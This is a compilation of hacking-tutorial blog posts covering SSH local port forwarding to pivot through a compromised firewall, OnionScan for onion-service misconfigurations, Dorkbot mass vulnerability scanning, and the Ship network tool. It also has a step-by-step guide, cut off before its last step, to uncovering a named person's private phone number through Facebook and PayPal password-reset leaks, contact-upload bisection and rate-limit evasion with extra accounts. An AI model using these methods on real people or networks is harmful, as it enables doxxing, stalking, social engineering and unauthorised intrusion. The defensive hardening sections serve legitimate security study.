Motherboard Staff

Use SSH Local Port Forwarding to Pivot into Restricted Networks

2017-12-30T14:28:00.005+05:30

SSH is a powerful tool with more uses than simply logging into a server. This protocol, which stands for Secure Shell, provides X11 forwarding, port forwarding, secure file transfer, and more. Using SSH port forwarding on a compromised host with access to a restricted network can allow an attacker to access hosts within the restricted network or pivot into the network.

In this article, we'll look at one of the SSH port forwarding options, local port forwarding. Since this can be somewhat confusing, I'd like to talk a little bit about the idea of port forwarding first.

Why Port Forwarding Is Important

When we think of port forwarding, we usually think of it in the terms of a router. With a typical home internet setup, the router is connected to the WAN (wide area network), and it will have an IP address assigned by the ISP (internet service provider). On the other side of the router, you have your LAN (local area network). Hosts within the LAN are generally assigned IP addresses by the router.

In most home setups, the router also acts as a firewall, allowing outbound TCPconnections and killing inbound connections. If you want to access a service on a machine within your local network, you will have to configure the router to forward connections on that port to your machine. This means that the entirety of the internet would have access to that service on your internal (or local) network. The router will take the incoming traffic destined for your service and forward it right on to your machine.

Now, let's expand on this a bit. Let's say the network is a little larger. We could have a Wi-Fi network for the public to use and another network for staff to use. All of the hosts would be connected to a gateway and segmented by the network. Like in our home example, we have one WAN connection, except this time we have two LANs. The router keeps the traffic from the public network from accessing the staff network.

When SSH Port Forwarding Comes in Handy

If you have administrative control of the router, you can configure it to forward traffic into the staff network. But what if you don't have administrative control? Maybe you have a low-level user account and can SSH in, but you can't access the admin panel and you can't modify any of the settings.

This is where SSH port forwarding comes in; we can use it to forward our traffic into a network we normally wouldn't be able to access, thus pivoting into the network. This doesn't just work on routers, this works on any node with SSH enabled and access to two or more internal networks.

Let's Take a Look at This in Action

In one scenario, we are connected to a public perimeter network (demilitarized zone, or DMZ) at a local university. Through enumeration, we have discovered that the firewall is running SSH with extremely weak credentials. We're coming from the DMZ, and our target is the intranet. The only thing standing in our way is the firewall, which we can log in to via SSH, but our captured account isn't privileged enough to change any settings.

The firewall protects the intranet (university staff hosts, the target) from external malicious traffic, but allows both networks access to the internet. We are unable to connect to hosts in the LAN from the DMZ, and based on the ease of access to the firewall, I suspect the hosts on the LAN are incredibly soft. Weak credentials combined with a lot of administrators not treating their internal networks as hostile means the security on the hosts within the LAN should be next to none.

Since it's an internal staff network, it probably contains or has access to quite a bit of confidential information. If we're conducting a penetration test as a white hat, we want to be able to put that confidential information in a report. If we're black or gray hats, we might be looking to exfiltrate, change, or delete that data. The question is how do we get access?

In order to access the internal network, we're going to have to get tricky and pivot into it, since we can't directly connect to it. This is where SSH port forwarding comes in handy.

Step 1The Setup

In this situation, we have three machines — our attacking machine, the firewall, and a host within the internal network. In a real engagement, there will usually be more than one machine on the internal network, but for learning purposes, all we need is one machine.

My attacking machine is on the 192.168.1.0/24 network, which represents the DMZ network. The firewall is accessible as a gateway from the DMZ on the same network. It is also accessible as a gateway from the internal network, which is in the 192.168.56.0/24 range. These addresses are represented using CIDR notation.

Our network.

The goal here is to be able to discover and attack hosts within the internal network from the DMZ network. Since we can't just connect directly to a host within the internal network, we will use the DMZ firewall's SSH service to reroute our traffic into the internal network.

Many beginners are not aware of the full feature set of SSH. Without a pivot into the internal network, an attacker would be totally reliant on the toolset contained on the compromised firewall. Which is likely extremely limited. Sometimes you'll get Nmapif you're lucky. An attack could be carried out in this manner, but it's much easier to work with a large toolkit like the one included in Kali Linux. Tools like Metasploitcan really make things easier.

To simulate this setup, I configured a virtual machine within the compromised host with a host-only adapter. This makes the victim non-routable by traffic on my DMZ network. If you want to try this at home, simply create a Linux virtual machine with SSH enabled in VirtualBox and configure the network adapter to host only. The host operating system will need to have SSH enabled, and you will need another machine to access the host operating systems SSH service.

When all the configuration is done, we should have a setup that looks like this:

What happens when the attacking machine attempts to ping the guest machine? We can't route traffic to the victim machine, but we can access the host machine via SSH, and that's all we need.

Here, we see that the attacking host cannot route to the vboxnet0 network.

Step 2Gathering Information

Before I can properly pivot in the network, it's probably a good idea to have a look at what I have access to via the firewall. I open a terminal and login with SSH by typing the following, replacing victimmachine with the IP address of the victim computer we have access to.

ssh user@victimmachine

I didn't post the full output of the ifconfig here since my machine has quite a few interfaces and the full output would be confusing. Since I set up these networks, I know the interface that we are targeting. If this were an actual penetration test, part of the post-enumeration of hosts is gathering connected interfaces, just in case there is a pivot available there. If there are multiple connected network interfaces, you should be able to pivot into any of those networks.

Step 3Local Port Forwarding

Using our SSH connection to the firewall, it's advised to do a bit of network recon. You will want to discover what hosts are active within the internal network. If you're lucky, Nmap will be installed on the compromised firewall, otherwise, you may have to resort a manual approach. The manual approach would be writing a ping sweep bash script (which will not spot machines with ping blocked). For this example, there is only one machine running on the network, and port 80 (HTTP) is open.

Web applications are often an excellent attack vector. Depending on the owner of the process, a web application could return a low privilege shell all the way up to an admin shell. Except I have limited information. I know there is a web server running on the host in the internal network, I just don't know what it is.

In order to learn more about this web application, I will configure a local port forward to the application using the following command.

ssh -L 8080:internalTarget:80 user@compromisedMachine

The -L option specifies that connections to the given TCP port on the local host are to be forwarded to the given host and port on the remote side. This allows us access to the internal network via the compromised firewall.

In our case. the internal network is anything behind the vboxnet0 interface. More technically, this command creates an SSH tunnel using your local port 8080 to connect to the internal target machine through the firewall. SSH will listen on localhost port 8080 for any connections. When it receives a connection, it will tunnel data to an SSH server, in this case, our compromised firewall. The compromised firewall then connects to the target server and port returning data back across our SSH tunnel.

When executing this command, you get a standard interactive SSH connection to the firewall, as well as port forwarding. If you don't want the shell, you can change the argument in your command to -NTL. The N argument tells SSH to not execute a remote command, and the T argument tells SSH to disable pseudo-terminal allocation.

Using a simple SSH command, we have pivoted into an internal network that would normally not be accessible to us. This allows us to use our own toolkit instead of relying on the initially compromised host to have what we need.

Of course, we aren't limited to forwarding HTTP. We can forward any port on the internal machine, including SSH, providing we know the port of the service we are attempting to forward.

It's as easy as changing a port number in our SSH command. Below, we forward the SSH service on the victim machine back to our local port 8080. This would allow us to brute force SSH or try credentials for login if we have them.

ssh -L 8080:internalTarget:22 user@compromisedMachine

Local port forwarding is a great way to pivot into internal networks. It is also an excellent way to bypass network restrictions, such as a block on web traffic to Motherboard Staff! Some networks, for example, may be locked down to only allow traffic to exit via a few limited ports. As an added bonus, all traffic we generate from the local host to SSH server is encrypted.

Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScan

2017-12-30T09:55:00.006+05:30

Configuring onion services for the first time can be tricky. A surprising number of system administrators make seemingly trivial mistakes that ultimately lead to catastrophic cases of de-anonymizing supposedly anonymous sites on the dark web. OnionScan is a tool designed to identify common misconfigurations in onion services and aid us in understanding how to fix them.

As security researcher @x0rz demonstrated in an article on securing onion services, websites are often de-anonymized all too easily. He utilized software such as cURL, a command-line tool used for transferring data using various protocols, to collect HTTP response headers for later Shodan queries.

All of the methods x0rz used to de-anonymize the onion services should have been ineffective if basic safeguards were taken by the site owners. System administrators need to take better precautions to prevent their websites from being vulnerable to server fingerprinting and enumeration. And that's where OnionScan comes into play.

What Is OnionScan?

OnionScan is a free and open-source tool designed for investigating onion services. Its written in Go, a programming language created by Google in 2009. OnionScan's primary goal is to help operators of onion services identify and fix operational security (OPSEC) issues with their services. OnionScan can also be used to help researchers and investigators monitor and track sites on the dark web.

The developers of OnionScan aim to make finding vulnerabilities as simple as possible. Not because they agree with the motives of every investigation force in the world, but because they believe that by making these kinds of audits easy, they will create a powerful incentive for new and improved anonymity technologies.

Step 1Installing OnionScan

Let's dive in and take a look at how to run OnionScan on a Kali box. You can run this in a virtual machine, on a laptop, or on a Raspberry Pi. Before starting, make sure your system is up to date by typing apt-get update into a terminal window.

Then, let's make sure we have Go installed. This dependency is required to install OnionScan, so open a terminal and type the following.

sudo apt-get install golang

When that's done installing, we'll need to clone the OnionScan repository from the developer's GitHub page. In the same terminal window, type the following.

go get github.com/s-rah/onionscan

Then compile it by running this command:

go install github.com/s-rah/onionscan

Change into the /root/go/bin directory to by typing cd /root/go/bin into the terminal. Then list the directory contents with ls.

That's it for installing OnionScan. Simply executing ./onionscan from the /root/go/bindirectory will invoke the help page and provide all the available options.

Step 2Using OnionScan

For this demo, I'll be anonymizing my Kali box with Whonix. Doing this will route all of my network traffic through the Tor network. To do this, you can refer to our tutorial linked below.

This is primarily for convenience, as OnionScan only works against onion sites. To use OnionScan, type the command below into a terminal window.

./onionscan --torProxyAddress=10.152.152.10:9050 youronionservice.onion

The --torProxyAddress part tells OnionScan to use a proxy, while 10.152.152.10:9050 is a Tor proxy port in the Whonix gateway. This argument will tell OnionScan to proxy requests through the Whonix gateway.

For non-Whonix setups, we would use 127.0.0.1:9050 as our torProxyAddress.

./onionscan --torProxyAddress=127.0.0.1:9050 youronionservice.onion

OnionScan also offers an alternate JSON output format for integration with other applications like Censys and programming languages such as Python and JavaScript.

./onionscan --torProxyAddress=10.152.152.10:9050 --jsonReport youronionservice.onion > /path/to/save/destination/filename.json

Step 3Protecting Yourself & Your Onion Services

Did OnionScan report a "High Risk" vulnerability with your onion service? Don't be alarmed. There are steps we can take to resolve these issues. Below, I'll cover how to fix and prevent some of the most common vulnerabilities discovered by OnionScan.

1Apache mod_status Leak

The Apache status module allows a server admin to actively monitor how well their server is performing. An HTML page is presented that provides the current server statistics in an easily readable form. With this information, attackers can:

Build a fingerprint of your server, including version information for PHP and other software.
Determine client IP addresses if you are co-hosting a clearnet site.
Determine your IP address if your setup allows.
Determine other sites you are co-hosting.
Determine how active your site is.
Find secret or hidden areas of your site.

By default, this module is enabled and accessed by appending /server-status to the website URL. This is still one of the biggest issues we find with dark web sites today.

How to Fix This

Comment out or completely remove the <Location /server-status> brackets in the status.conf file. Open a terminal and type the command below to access it.

nano /etc/apache2/mods-enabled/status.conf

After modifying the status.conf and saving the configuration, restart Apache by typing the command below into a terminal.

sudo apachectl restart

You'll notice visiting http://youronionservice.onion/server-status now returns HTTP status code 404. This means you've successfully disabled mod_status.

2Open Directories

By default, appending a trailing slash to a URL will instruct Apache to return the contents of a given directory. For example, I added a /hidden_folder/ to my website. The image below shows the directory structure of my website.

In the /images directory, we can see the hidden_folder, which would not normally be discovered by an attacker. With directories openly accessible, visiting http://youronionservice.onion/uploads/images/ will disclose the contents of the entire directory. The image below is an example of that.

OnionScan will list every directory it was able to access. The image below is an example of OnionScan reporting open directories.

How to Fix This

We'll need to modify the apache2.conf. Open a terminal and type the following command.

nano /etc/apache2/apache2.conf

Find the <Directory /var/www/> brackets. Notice the Indexes between Options and FollowSymLinks. Here is how the brackets look by default:

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>

Remove Indexes entirely, and it should look like this when we're done:

<Directory /var/www/>
Options FollowSymLinks
AllowOverride None
Require all granted
</Directory>

Save and close the file, then restart Apache by typing the following command into a terminal.

sudo apachectl restart

3EXIF Tags

EXIF stands for Exchangeable Image File and is stored in JPEG, PNG, and PDF file types. This embedded data can sometimes reveal interesting information, including timestamps, device information, and GPS coordinates. Most websites still do not properly sanitize EXIF data from images, leaving themselves or their users at risk of de-anonymization.

A perfect example of the dangers of EXIF data is the arrest of Higinio Ochoa. FBI agents extrapolated his girlfriend's geographic location using the GPS data found in a photo Higinio uploaded to Twitter.

OnionScan will list every photo which may contain sensitive EXIF metadata. The following screenshot is an example of OnionScan reporting harmful EXIF metadata discovered in JPGs found on an onion website.

How to Fix This

We need to manually remove EXIF metadata from our images. Below are several recommended metadata wiping tools.

ExifTool, a Perl application for editing metadata in a wide variety of files.
Exiv2, a C++ application to manage image metadata.
Jhead, a JPEG header manipulation tool.
Pdfparanoia, a tool to remove watermark from academic papers.

I'll be using MAT (Metadata Anonymization Toolkit), a command-line tool used to remove metadata from images, which can be found in most popular Linuxdistribution repositories. To install MAT, open a terminal and type the command below.

sudo apt-get install mat

After MAT is installed, we can display harmful EXIF metadata by typing the following command into a terminal.

mat -d image.jpg

The -d will instruct MAT to list all harmful metadata of a file without removing it. This is useful for viewing EXIF metadata without wiping it. To completely remove all the EXIF metadata, type the following command.

mat image.jpg

4SSH, FTP & SMTP

OnionScan collects SSH public key fingerprints, SMTP banners, and other FTP, IRC, Ricochet, and MongoDB server information. These banners are often misconfigured to reveal information about the target server, including OS versions, hostnames, and IP addresses. This information can be compared to other onion and clearnet servers in order to try and identify the actual server location.

This image is an example of OnionScan revealing SSH and SMTP banners:

How to Fix This

By default, SSH will try to listen on 0.0.0.0. This means your SSH server will attempt to broadcast on every interface, making your SSH server accessible to search engines like Shodan. Modify the SSH config file by typing the following command into a terminal.

nano /etc/ssh/sshd_config

Notice the "ListenAddress" line is set to 0.0.0.0.

ListenAddress 0.0.0.0
ListenAddress ::

We'll need to modify that to 127.0.0.1 so it looks like the following text.

ListenAddress 127.0.0.1
#ListenAddress 0.0.0.0
#ListenAddress ::

Save and close the sshd_config file, then restart your SSH server by typing the following command into a terminal.

sudo systemctl restart ssh

5Cryptocurrency Clients

OnionScan scans for common cryptocurrency clients including Bitcoin and Litecoin. From these, it extracts other connected onion services as well as the user agent.

How to Fix This

If it's not absolutely necessary, don't publicly share currency information on your websites. Unfortunately, there's not much we can do to "fix" website scanners and crawlers from collecting your cryptocurrency addresses.

Looking Deeper into the Dark Web

OnionScan is a powerful tool. The image below is a graphical representation the developers created using OnionScan which depicts connections made between a vast majority of sites on the dark web. These connections were established using Bitcoin addresses, Apache mod_status leaks, SSH fingerprints, and other types of identifiers.

Image by OnionScan/Mascherari Press

While many people may think dark web sites are anonymous by design, the reality is that they require attention like any other site to truly protect the identity of the administrator. Here, we've covered the common ways the owner of an onion service can improve their security, as the most useful methods for de-anonymizing a poorly configured onion service.

Use Dorkbot for Automated Vulnerability Discovery

2017-12-30T09:52:00.000+05:30

If you need to scan a large number of domains for a specific web app vulnerability, Dorkbot may be the tool for you. Dorkbot uses search engines to locate dorks and then scan potentially vulnerable apps with a scanner module.

This tool is useful if you're managing a large number of hosts and aren't sure what may be vulnerable and what may not. It's also useful if you're a black hat looking to compromise as many machines as possible in a short time, not that we condone any black hattery here.

Before we get started, I'd like to explain the concept of a dork a little bit further. Dorks are a way of using search engnjines to locate vulnerable web apps. If you're thinking "that's just Google hacking," you're correct. They are essentially the same thing, though Google hacking generally has fewer negative connotations.

Essentially, when we use dorks, the goal is to search out a vulnerable application and either note it or attempt to exploit it. The internet is a big place, and if an attacker's goal is simply to amass a collection of vulnerable machines, Google dorks are the first place to start.

This style of mass-vulnerability scanning is advantageous for a few reasons: Finding targets is easy, and the search engine does the work for you. Exploiting the targets is also easy. If you've done some research, you know exactly what vulnerability you are looking to exploit. This means you have the exploit code and you've tested it.

This makes the entire attack on the vulnerable host much easier. Rather than encountering a host and going through the entire methodology of an attacking something unknown, the vulnerable hosts, in this case, come to you.

With that covered, let's get started discovering with Dorkbot.

Step 1Install Dorkbot on Kali

For this tutorial, I will be using Kali Linux, logged in as the root user. Before we get started, we should probably update our system. Run apt in your terminal emulator to do so with the following commands.

apt update && apt upgrade

Once that command completes, we can start installing Dorkbot. The first thing to do is pull the repository off of GitHub, using git in your favorite terminal emulator.

git clone https://github.com/utiso/dorkbot; cd dorkbot

Next, you will need to download and install dependencies. The first of these is PhantomJS. We will download and extract it into the dorkbot/tools directory, and then rename the extracted folder to "phantomjs" with the following commands.

wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2
tar vxjf phantomjs-2.1.1-linux-x86_64.tar.bz2
mv phantomjs-2.1.1-linux-x86_64 phantomjs
rm phantomjs-2.1.1-linux-x86_64.tar.bz2

The URL in the wget command may change as PhantomJS is updated, you can always check the PhantomJS site for the most recent URL. The tar command extracts the PhantomJS archive, then we rename the directory with the "mv" command so that Dorkbot can find the tool. Lastly, we remove the archive.

The next dependency that needs to be resolved is our scanner module. Dorkbot works with two different scanner modules, Arachni and Wapiti. You will need to select one of these to use as your scanner. After testing with Wapiti, I found that it threw errors, so I settled on Arachni. To install it, run the following in a terminal window.

wget https://github.com/Arachni/arachni/releases/download/v1.5.1/arachni-1.5.1-0.5.12-linux-x86_64.tar.gz
tar xzf arachni-1.5.1-0.5.12-linux-x86_64.tar.gz
mv arachni-1.5.1-0.5.12
rm arachni-1.5.1-0.5.12-linux-x86_64.tar.gz

In the next portion of this setup, we need to create a Google custom search engine. Dorkbot uses the custom search engine to locate potentially vulnerable web applications.

You will need a Google account for this step. To get started, click on the "Sign in to Custom Search Engine" button. You will be prompted to enter your credentials.

In order to get be able to search the entire web, we're going to have to do a bit of additional configuration on this custom search engine. First, we enter "example.com" in the Sites to search field. Then, we click the "Create" button to continue.

We're not done yet! This engine will only search within example.com, which isn't very useful to us. We need to change the engine to search the entire web.

Select the "Edit search engine" drop-down menu, and choose your custom search engine. Scroll down the page to the "Search only included sites" menu. Change the setting to "Search the entire web but emphasize included sites." Then, check your included site and delete it.

Lastly, we need to get the search engine ID, which we will be passing to Dorkbot. This can be found by clicking the "Search Engine ID" button.

The last step is installing Python date-util with pip. Do so by running the following in terminal.

pip install python-dateutil

In my case, this package was already installed.

Now that we have the tool configured and installed, it's time to get down to using it.

Step 2Run Dorkbot to Find Vulnerable Sites

Dorkbot has two distinct components: the indexer and the scanner. The indexer will search for dorks and store its findings. The scanner will follow up on those dorks and try to confirm the presence of vulnerabilities. Our first step is to scan for vulnerable sites. We'll do this by running the following in our terminal window.

./dorkbot.py -i google -o engine=yourGoogleCSEHere,query="filetype:php inurl:id"

This will use your custom Google search engine to locate sites with PHP files and a URL containing "id."

This will not pass any results to the automated scanner. The -i argument tells Dorkbot to use Google as its indexer, and the -o engine= is passing indexer options, telling Dorkbot to use our custom search engine. The query= is the query to pass to Google.

We can use Dorkbot with the -l argument to list these later. So far, everything we've done has been completely acceptable. We're essentially just Google searching. We get into much trickier territory if we start using the scanner module to look for vulnerabilities. Let's try that by typing the following.

./dorkbot.py -i google -o engine=yourCseKeyHere,query="filetype:php inurl:id" -s arachni

Executing this command would pass the sites to Arachni for further processing. Depending on where you reside, executing this may be illegal. Even if it is legal, I wouldn't recommend it. Your ISP may receive an email about abuse of services, leading to a nasty phone call or potentially being dropped as a customer.

Fortunately, you can configure your Google custom search engine to search specifically within a single site that you own or have been given permission to scan. I'm going to go back and reconfigure my custom search engine to only search webscantest.com.

Since Dorkbot maintains a database of returned dorks, you will need to delete this database to prevent Dorkbot from scanning hosts already in the database. We'll do so by typing these commands in terminal.

rm /path/to/dorkbot/databases/dorkbot.db
./dorkbot.py -i google -o engine=yourGoogleCseHere,query="filetype:php" -s arachni

Step 3Finding Vulnerable Hosts

An attacker wishing to compromise the largest amount of systems possible in a short amount of time needs to cast a wide net. Dorkbot is designed to handle this, but how would you find vulnerabilities to target?

I recommend the Exploit-DB for this. There's an entire section dedicated to web applications. For example, you could use a recently-discovered exploit in EasyBlog as your search query.

Image via Easy Blog PHP Script v1.3a

Our previous searches would include this app and many more. You will have to hone your skills with Google in order to narrow down the number of false positives. If you Google for Google dorks, you will find many more queries that you can use.

Dorks Are Useful for Mass-Scanning

If your goal is to mass-scan for vulnerabilities, Dorkbot is a solid tool worth exploring. With a bit of work on the user's part, it would be possible to almost completely automate the locating, scanning, and attacking of a particular vulnerable service. Spending some time finding semi-recent vulnerabilities and honing in on sites running specific software that is known to be exploitable could lead to many compromised machines.

In this article, I demonstrated the configuration of a Google custom search to access the entire web. While you can do this, I wouldn't recommend it. Instead, use the custom search to scan and target domains within your control to stay legal. While working with Dorkbot, remember that it's fine to search, but connecting can be an issue.

Linux Basics for the Aspiring Hacker: Using Ship for Quick & Handy IP Address Information

2017-12-29T12:36:00.005+05:30

Whether you're white hat, black hat, or some shade in-between, navigating through a network is a core part of hacking. To do that, we need to be able to explore a network to discover the addresses of gateways, interfaces, and other attached devices. When ifconfig just isn't enough, you can steer your way around a network with a convenient tool called Ship, the script for everything IP.

What Is Ship?

Created by Sotirios Roussis, Ship is a portmanteau of "shell" and "IP" and it's literally a shell script that displays network addresses. However, that description doesn't really give it justice. Ship is a very handy tool. I like to think of it as a one-stop-shop for basic network reconnaissance and addressing.

Ship can display everything from the gateway IP address to the IP and MAC addresses of all the active devices on a network. It can do simple things like pingand traceroute, as well as more sophisticated things like listening in on ports and calculating binary and hex information about an IP. The command syntax in Ship is simple and straightforward, and I recommend it to everyone who finds themselves poking around Wi-Fi networks via terminal on a regular basis.

Step 1Downloading & Installing Ship

In this tutorial, I'm using Black Arch Linux, so the commands may be slightly different if you're using Kali or another Linux distribution.

Depending on what repositories your package manager checks, you might be able to install Ship directly with a simple apt-get or equivalent command. On my system, this wasn't the case, so I'm going to detail how to install Ship manually.

First, we need to install the appropriate dependencies. To do this, use the following command in Black Arch.

pacman -S gawk grep iproute2 mtr iputils sed traceroute wget

If you're using a Debian-based system like Kali, this command should work the same if you replace pacman -S with apt-get install and iputils with iputils-ping.

In my case, all of these packages were already installed, but it doesn't hurt to check. If you already have them installed like I did, the command will update them instead, which is always a good thing.

After we install the dependencies, we need to clone the GitHub repository. I chose to do this in the root directory of my Linux system, so it will be downloaded into /root/ship. Use the following command in a terminal window to download Ship directly from GitHub.

git clone --branch=master https://github.com/xtonousou/ship.git

This will download the ship.sh shell file into /root/ship. As is, we won't be able to call Ship simply by typing ship into the terminal. To do this, navigate to Ship's directory with cd /root/ship and then copy ship.sh and rename it to ship by typing cpship.sh ship into a terminal window.

This lets us type ship instead of having to type ship.sh. Then, to add it to the PATH variable everytime the terminal runs, by typing:

echo 'export PATH=/root/ship:$PATH'>>~/.bashrc

Step 2Using Ship for Quick Addressing

Now that we've installed Ship, let's browse some of its features. One of Ship's most handy uses is that it can quickly serve up the exact information about the network we need without displaying superfluous information. For instance, if all we want is to find just the name of the active network interface connected to our device, type ship -i.

You can see in the picture below that my laptop's internal wireless adapter is called wlo1. If we also want that interface's IP address, type ship -4 or ship -6 for IPv4 or IPv6 addresses, respectively. We can also find the internal (private) IP address of the network gateway by typing ship -g.

So far, this is all stuff we can easily access already with ifconfig or ip a, although for convenience, Ship will display this information more concisely. But let's move on to some cooler stuff Ship can do, like quickly displaying all the devices on the current subnet. Type ship -H or ship -HM (to also display a device's corresponding MAC address) and you'll see a table of all active network hosts, like in the picture below.

In addition, you can quickly see what your external IP address is by typing ship -e. You can also use this same command with a URL to find the IP address associated with website by typing ship -e url, with "url" replaced by the site you want the IP address of.

Step 3Port Listening with Ship

Ship can also show real-time information on all the external IP addresses you are connecting to on a specific port. By typing ship -p portNumber, Ship will display a table of counts and IP addresses that updates every few seconds. In the screenshot below, I tested this on port 80, displaying all active port connections.

All the IP addresses to the right are outgoing connections through port 80. We can see a connection to Google if we look up the last IP address (216.58.193.206) in a browser, as it redirects to Google.com.

Step 4Calculating IP Information

If you need to convert an IP address into binary or hexadecimal, you can type the ship -c address command. This will also display a plethora of other information for you, including the subnet mask, the class of network associated with the address, and the maximum amount of hosts that network can support.

I tried using this command with multiple different IP addresses of various classes. Ship labels whether the IP address belongs to a private network and whether it belongs to class A, B, C, D, or E.

One thing to note is that you can use this command with CIDR notation. For instance, when I type 10.1.1.1/16, it correctly calculates the network mask to be 255.255.0.0 and the max number of hosts to be 65,534, as opposed to the standard 255 in a normal class C 198.192.x.x/24 type network. This can tell us a lot about the purpose of the network we're examining.

Ship Can Answer Network Questions

If you're new to networking or need to navigate through an uncharted network, Ship is like a compass to show you what's out there and how to get where you want to go. With a few simple commands, even a beginner can discover connected devices and quietly gather information about a network and the way it is administered. Ship makes it easy to find the network information you need for other commands, down to the driver being used by each network interface.

Keep in mind, Ship organizes other tools that do the behind the scenes work. Some of these tools can leave logs in the router, firewall, or intrusion-detection system. While scanning generally isn't illegal, it's often seen as a preparation for an attack and can get you blocked from a well-defended network.

Find Anyone's Private Phone Number Using Facebook

2017-12-29T12:34:00.001+05:30

Facebook really wants your phone number, nagging you for one as soon as you join. This isn't all bad since it can help secure your account with two-factor authentication. On the flipside, this makes it easy to reveal the private phone numbers of virtually anyone on Facebook, including celebrities and politicians. We're going to look at how a hacker would do this and how to protect yourself.

Many Facebook users may not even realize that their private phone number is connected to their Facebook account, having forgotten that they did so. Facebook isn't allowed to simply extract your number from your phone, but they can do what I refer to as the "app equivalent of cyberbullying" by repeatedly asking you to confirm and save your number each time you launch Facebook.

The default privacy setting on Facebook allows anyone to search for you by your phone number once you add it. This is not a new issue. It has been around as long as the Facebook Graph search, but Facebook chooses to see this issue as a feature, as a letter received by Belgian researcher Inti De Ceukelaire shows.

Certainly, some people, such as celebrities and politicians, should be more concerned than others about revealing their private number online. However, anyone could potentially have a cyberstalker or hacker target them. Once a hacker has a phone number and your name, they can quickly use open-source intelligence (OSINT) tools that we've covered on Motherboard Staff to grab further public data like occupation, employer, spouse, relationship, any other public info.

A hacker could use the information to further social-engineering attacks by calling you directly. Think of the classic " Microsoft tech support" scam, only the caller trying to trick you knows your name and intimate details of your personal life. Armed with these, it's easy to make the target think the caller is legitimate.

How would a hacker actually go about finding your number? In theory, if they had a lot of time, they could just search all 9,999,999,999 potential numbers until they stumbled upon yours. Clearly, this isn't very efficient, so let's see the right way of doing it. For a practice subject, I'll be using DC Mayor Muriel Bowser (2017) as a random city official. In the examples below, her number was changed to protect her real number.

Step 1Use the Area Code

If you think of a target's phone number as one of all the possible 10-digit US phone numbers, you can quickly see that 10 billion North American phone numbers it far too large a list to effectively search through. Luckily for the hacker, he can cut this down thanks to the North American Numbering Plan (NANP) which lays out the guidelines for phone numbers in the US.

Let's take an example: 234-235-5678. Looking at the NANP, we can see that the first three numbers (234) are the area code, and the plan allows for 2–9 as the first digit and 0-9 for the second and third digits. That information right there eliminates one billion possible numbers from the hacker's list.

The hacker can also quickly take advantage of this if they know or can take an educated guess at where you live, as it's as easy a Google search. By doing this, the hacker can remove a further 9 billion 990 million numbers from the list of potential guesses.

The next three numbers after the area code in our example (235) are the central office prefix. Again, the plan calls for 2–9 for the first digit and 0–9 for both the second and third digits, but with a caveat.

In area codes where the second digit is 1, the third can't also be 1. This yet again removes a large number of phone numbers from the hacker's list. The last four digits of the phone number is the line number, in this case, 5678.

I took the educated guess that the Mayor of DC would have a DC area code, and a hacker could also look up the target's Facebook account and likely find a hometown or the current city the target lives in or works from. Some larger cities like Los Angeles will have multiple area codes within them, but no matter how many "split" area codes there are, it still greatly reduces the hacker's list of possible numbers.

Step 2Get the Last Numbers

Now that I know my target's number is 202-???-????, I want to try and remove as many of those question marks as possible, making it easier to do a Facebook search later on. Thankfully, Facebook has our back and has made this probably the second easiest step, after using the area code. In order to get the last two numbers, we just have to go a few steps into the password reset process.

To do this, the hacker goes to the main Facebook page and clicks "Forgot account" to start the process.

Next, they enter the target's name they have in mind and click the "Search" button.

The hacker is then presented with a list that includes a face picture paired with each matching account that helps them quickly identify their target. There's our target right at the top!

Facebook then kindly provides the hacker the last two digits of the targets number, along with some information about the emails accounts associated with their Facebook account, such as the first and last letter, and sometimes the email domain.

That's as far as the hacker has to go. They don't actually reset the password, and they shouldn't so that the target never receives any kind of notification to tip them off.

Step 3Use Outside Sources

With over 218 million users, PayPal and other services can help add to the information the attacker has collected so far. In this case, if the target is a PayPal user, the hacker can get two additional digits of the phone number we're looking for.

In the picture above, you may have noticed that the first email listed is a Gmail account that starts with "M" and ends with "R."

That's funny, since my targets first name starts with an "M," and her last name ends with an "R." To a hacker, this screams "I used my name as my email!" Suspecting this was the case, I checked it on Gmail by typing it in.

Google accepted it, but that doesn't necessarily mean that it's the target's email. The hacker can check by doing the same password reset trick they pulled with Facebook.

Yep, this account just so happens to have a number that ends in 69. Coincidence? I think not. Now that I have an email to work with, I can jump over to PayPal in a new tab, and once again, use the same password reset trick.

This time, when I get to the password reset screen, I get not only all four digits of the line number, but also the first number of the area code too!

This allows me to be reasonably sure that I'm on the right track with the area code, and verifies my previous work on finding the last few numbers. This means I have the number 202-???-6969 so far. In other words, my list has gone from 10 billion choices to about a thousand in just a few minutes of work.

Step 4Brute-Force It the Smart Way

At this point, a hacker could just start throwing numbers into the Facebook search bar, but that still wouldn't be that efficient. So what does a lazy hacker do? They take advantage of a Facebook feature that allows you to conduct a bracket search.

Facebook allows you to upload lists of contacts in CSV format, and then tells you if they are on Facebook so you can add them as friends. By constructing my own contact list of potential numbers, I can quickly rule out large chunks of wrong numbers.

In this case, I know the number has to be in the range from 202-000-6969 to 202-999-6969. By cutting that in half and creating a list of numbers from 202-000-6969 to 202-500-6969, I can effectively rule out half of my list, as the target will only be in one of the two half lists created. Then, I can upload the list and instantly determine if they are on it or not.

To create this list, I went to Google Contacts and clicked "Export" to get a sample CSV file to work from.

Facebook prefers to accept the list in Google CSV format, so I saved it as such from Google Contacts.

From there, a hacker can open the file in Google Sheets or Excel and change the column formula for the phone numbers to one that will iterate over the numbers they need to check, as seen in the following example.

In the excel formula below, I start by taking the lowest value phone number, in this case, 2020006969, then I add 10,000 to it in order to increase the fifth place digit by 1. This formula will repeat as many times as needed, but we shouldn't do it more than 1,000 times because there are only a thousand numbers in our list to guess. If the target hadn't had a PayPal account to help us derive the third and fourth place digit, then we would be adding 100 to increase the third digit instead.

=(ROW()*10000) +2020006969

From there, it is simple to sign into a Facebook account and go to the Friend Finderfeature. Click on the Gmail logo and then "Find Friends."

Next, scroll to the bottom of the page and upload your CSV file containing the phone numbers you wish to try.

After it's uploaded, Facebook presents the hacker a list of "Friends" to add from the list. They would then search for their target inside that list. My target doesn't seem to be here, so I know they aren't in this half of our batch of numbers.

Next, instead of testing the next 500, I split the next 500 in half and check one of those halves. This is because I already know the target will be on the second list since they weren't in the first half. The hacker can continue searching in this way until the target appears on a phone number list.

From there on out, the hacker would test smaller and smaller batches of numbers until they have only a handful to test. I stopped when I had it down to about 30 numbers. Obviously, this will take longer if the hacker has less information about the other digits of the phone number to begin with, as they will have a larger number set to search. Facebook will rate-limit the hacker to five attempts per day but they can get around this by signing into another account.

Step 5Test the Last Few Numbers

